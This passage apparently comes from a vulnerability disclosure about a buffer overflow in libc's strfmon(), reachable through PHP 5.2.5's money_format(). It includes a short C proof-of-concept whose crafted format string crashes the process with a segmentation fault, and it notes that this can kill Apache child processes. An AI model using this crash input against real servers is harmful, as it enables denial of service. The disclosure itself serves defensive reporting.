It is very dangerous, because a lot of programs (like PHP), use this function. It is possible to kill apache childs Next example: ---Buffer Overflow--- #include <stdio.h> #include <monetary.h> main(){ char buff[50]; char *bux=buff; int res; res=strfmon(bux, 50, "%99999999999999999999n", "-999.999"); } ---Buffer Overflow--- Program received signal SIGSEGV, Segmentation fault. 0x2814e0e6 in memmove () from /lib/libc.so.7 We are waiting for fast answer, because in PHP 5.2.5 we use money_format() function with strfmon() function.
